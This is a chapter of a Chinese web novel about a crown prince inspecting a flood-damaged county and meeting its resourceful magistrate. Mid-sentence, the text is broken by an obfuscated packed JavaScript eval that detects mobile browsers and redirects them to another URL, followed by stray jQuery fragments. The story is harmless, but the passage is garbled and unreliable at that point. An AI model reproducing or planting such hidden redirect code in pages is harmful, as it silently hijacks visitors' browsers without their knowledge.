29. 第廿九章 太子来了又走了

作品:《她靠画图拯救苍生

    说来奇怪,这场雨来的快,去的也快,去了便也开始放晴。


    东望县内县城以及地势偏高的其他郊区除了屋舍略有损毁,倒也没什么巨大的损失。


    有了姜樾的图纸,找木匠加工出成品,对于重建搬运物品节省了不少时间,张明贤组织人一步步进行重建。


    唯一麻烦的就是大伤小伤的伤患不少,虽不危急性命,但折了腿脚砸伤断胳膊的却需要好生修养。


    张明贤安置完辖区内的伤患,统计完损失后,将县域内情况包括需要援助事项以及下一步打算连忙整理汇总成文书上报给梁溪知府。


    这样的大事知府自然不敢妄做决断,又匆匆往宫里头递了折子。


    昌平帝得此噩耗,连做一番部署,早朝时商议事项,满朝文武竟连番推诿无一人愿巡视,昌平帝便直接拟了道旨令户部尚书姚大人与工部尚书袁大人全力配合东望县灾后重建事宜,提供银钱粮食补给。


    “泽安,你亲自去一趟萧河沿线,查看情况如何。”昌平帝怕地方官员会欺上瞒下,最终决定让太子赵泽安走上一趟。


    东望再往东走,山势缓缓变平,便以梯形种地,历来都是粮食产量极高,承担了大宣四分之一的粮草。只是碍于东望其特殊的地势,出入不便,便一直没有发展起来。


    “孩儿领命。”身着黄色蟒袍男子在朝堂上应下。


    东望的水随着城南断崖处泄去,填满了东南的湖泊,又顺着沟壑向东流去,乌云也随着流水的步伐向东南走。


    这场大雨,让萧河顺着沟壑改道,东南山坡种粮,山谷处人家林立,种粮食倒是日照充足,但这河水兼着暴雨,居住在山谷和低处的梯田算是保不住了,溺死了庄稼不说,更是有不少人在这场洪水里丧了性命。


    赵泽安任巡查使来到东望县已经是四日后,他没有直接到县衙。


    天气晴朗,阳光晒得有些热,初夏的热风很快驱散了雨水的湿润,烘干了泥墙上的青苔,自萧河决堤之后便在南郊分了一段支流,以南郊断崖为界,崖下是渐渐稳定的水流。


    东望县内一片衰颓,但又忙碌的景象。


    赵泽安与随从楚问书一同走在大街上,众人用一种他没有见过的车在搬运货物。


    车的造型诡异,四个轮子,前轮还能跟随推车人力道的转变自己转弯,满满的一车修缮房屋用的泥土瓦砾一个人也能推动。


    赵泽安惊异,东望县有何机关奇人?为何一直没有听闻?


    赵泽安看了一眼楚问书,楚问书立马懂了他的意思,上前拦下一位看上去耳顺之年的老伯。


    “大伯,需不需要帮忙?”


    大伯放下手中的车把手,看着楚问书一身价值不菲的衣服料子:“不用不用,当不得小郎君麻烦。”


    说罢大伯深吸一口气,推着满车货物竟然小跑起来。


    留下楚问书与赵泽安面面相觑。


    赵泽安再次看了眼楚问书,楚问书心领神会点点头再次拦下一位稍微年轻点的人。


    “大哥,可否需要帮忙?”楚问书这次拦下的人车中货物装的更满一些,瞅着有些吃力。


    那人依旧是看了眼楚问书身上华贵的衣料:“不敢劳烦小郎君了。”


    楚问书这次不信邪,猝不及防的将那人挤开,想亲自尝试一下。楚问书能感觉到前方沉甸甸的重量,但带过身子浑身力气往前推却也不太费力。


    那人见楚问书如此行径,还耽误他做事,用力将楚问书推开,楚问书一时不察竟险些被推的踉跄一下,赵泽安楚问书身后揽住他,避免他摔着。


    楚问书惊觉:“对不住。”然后跟到赵泽安身后。


    “抱歉,这位大哥,我见大哥的推车甚是新奇,随派小厮询问一二,却不料他唐突了大哥,还请见谅。”赵泽安接过楚问书递来的荷包,从中摸出一锭银子递过去,笑道。


    那人见赵泽安衣着名贵又如此大方,便滔滔不绝的说着。


    “这是县令大人连夜让人赶制的。


    县令大人去年年底查阅县志舆图就发现了萧河存在隐患。


    县令大人还开办县学,让我们孩子都读的了书。


    县令大人还在城南修了好多房子。


    ……”


    赵泽安面上依旧挂着浅笑,看不出情绪,等那人喋喋不休的说完。


    “总之,县令大人做的,县令大人是个好官。”


    赵泽安又问了那人几个问题,大致梳理出了张明贤任职后的所作所为前因后果。张明贤这人他知道,不过二十岁就进士及第,却被四大世家联手坑害施压,遂左迁,少年天才不少,但没有成长起来的更多,本来他也没将这人记在心里,这下到不得不记住了。


    得知赵泽安来时,张明贤还在帮着县学修缮屋顶牌匾。


    蒋良因前来找张明贤时,远远瞧见张明贤穿着短褐,裤腿绑着缚袴,站在高高的梯子上。


    “再拿些瓦片来!”张明贤对着下方的人喊着。


    地上的人熟练的将瓦片置于张明贤身旁滑轮上挂着的篮子,等全放入后,另一人拉动张明贤下方的绳索,通过滑轮将装满瓦片的篮子吊起来,与张明贤差不多高时,张明贤将瓦片一层层铺在屋顶的檩条上。


    “张大人!张大人!你快下来,县衙来贵人了!”蒋良因在梯子下焦急喊着,又替张明贤扶稳梯子。


    张明贤从梯子上爬下,粗布麻衣在房顶上沾染了不少灰尘,窄袖挽起,露出精瘦有力的小臂。一边跟着蒋良因走一遍问:“是谁来了?”


    “太子殿下和楚大人。”


    张明贤心下一惊,怎么惊动了太子殿下?


    “我速速回衙门换件衣服,你赶紧回去通传禀明情况。”张明贤健步如飞就往县衙冲去,顺势撸下撩起的袖子


    却还没到县衙大门,就见一穿着号称“薄如宣纸,平如水镜,细如罗绢”夏布衣裳的清朗男子缓步走来,身后跟着一持刀护卫模样的人,行止之间自带威严。


    张明贤大步上前跪下;“臣,拜见太子殿下,仪容不雅还请殿下见谅。”蒋良因紧随其后。


    低眉颔首,好一副温顺模样,那是对威严的敬畏。


    赵泽安低声回了句:“平身。”


    张明贤与蒋良因这才站起来。


    姜樾老远看见张明贤跟在一人身后,比那人稍慢半步,低眉只看前方的路,双手自然下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238546|165486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    垂。


    领导来视察了?不太像啊,领导怎么会只带一个人。


    不对,身后那人有刀,来历不简单。


    “张大人这推车做的不错。”赵泽安看着前面推动的车,再次产生了兴趣,既然是张明贤找人做的,许是知道来历。


    “这是一位叫南阳先生赠与的图纸,却从未见过面。”蒋良因听到“南阳先生”悄悄扯了一下张明贤的衣袖,张明贤与蒋良因二人悄悄对视一眼,张明贤轻轻摇摇头。


    蒋良因点点头再次沉默,紧随二人之后。


    “高人有些脾性,有这机关能力倒是个妙人。”赵泽安点点头,又问:“决堤之处如何,可否去看看?”


    “河流疑似改道南郊,雨褪去,水却未下,稍后臣就带殿下去。”张明贤直接回复结论与推测。


    张明贤四人回到县衙,他换了一身衣衫,草草打理几下,又在随身香囊里放了些驱虫丸子,牵出一辆马车,张明贤找了两张垫子铺在车内。


    “车厢简陋,殿下勿怪。”


    蒋良因与楚问书在车外驾车,赵泽安透过马车的帘子看向窗外,大风刮过的青石板路四处都是杂物,这几日勉强收拾完堆积到道路两旁,烧砖瓦的窑洞近日日夜兼程的赶制砖瓦,出一批就立马运输到需要的地方,部分房屋已经修缮完毕,住户也住了进去。


    “伤亡如何?”赵泽安来东望前,专门调阅了梁溪府志有关东望的篇目,自然没有忘记历次河流决堤时伤亡惨重,正因如此,昌平帝才安排他来巡查。


    张明贤递出一本册子,上记载了伤亡人数,房屋损坏情况以及重修缮,治疗百姓的银钱预算。


    “下官将大水后的情况皆记录在册,请殿下查阅。”


    赵泽安掀开册子上面画满了格子,分门别类的记录着时间、地点、受害人、伤情如何、籍贯、用药明细;而房屋情况则是记录的地址、毁坏情况、家中劳动力人数、修缮所需耗材、修缮所需金额。


    记载方式与平时账册差异很大,但简洁明了,一眼就能将情况掌握。


    “张大人这记载方式倒是罕见。”


    “这种记载方式叫表格,适用于数据整理或者分析,我见这需要记载的太多了,就让人用小型墨斗绘制了几本,殿下觉得新奇晚些时候给您送去些。”在赵泽安面前,张明贤有些拘束,话也不多,只是每当赵泽安问道时,会如实禀告。


    不一会儿,四人来到南郊,张明贤率先下马车,躬身相迎。


    赵泽安下马车,入眼是一条黄色泥沙翻涌的河流,向东南而去,便以为是萧河。


    “此处是萧河?”


    “也可以理解为萧河,但这是南郊,下面那条河流,曾是洼地,前些日子决堤填成了河。”


    张明贤看着改道的萧河,生出一种难以言说的情绪,分明是天子脚下却需要徒步进入的东望县,月前的洼地转眼成了河流,前年还是打马过闹市的翰林编修今年却是小小的县令,时过境迁的苍凉之意涌上心头。


    赵泽安查看完萧河,又在东望县呆了两日,将张明贤整理的伤亡记录与户房造册人员核对了一番,没有勘误后去信给梁溪,让户部与工部提供补给支援。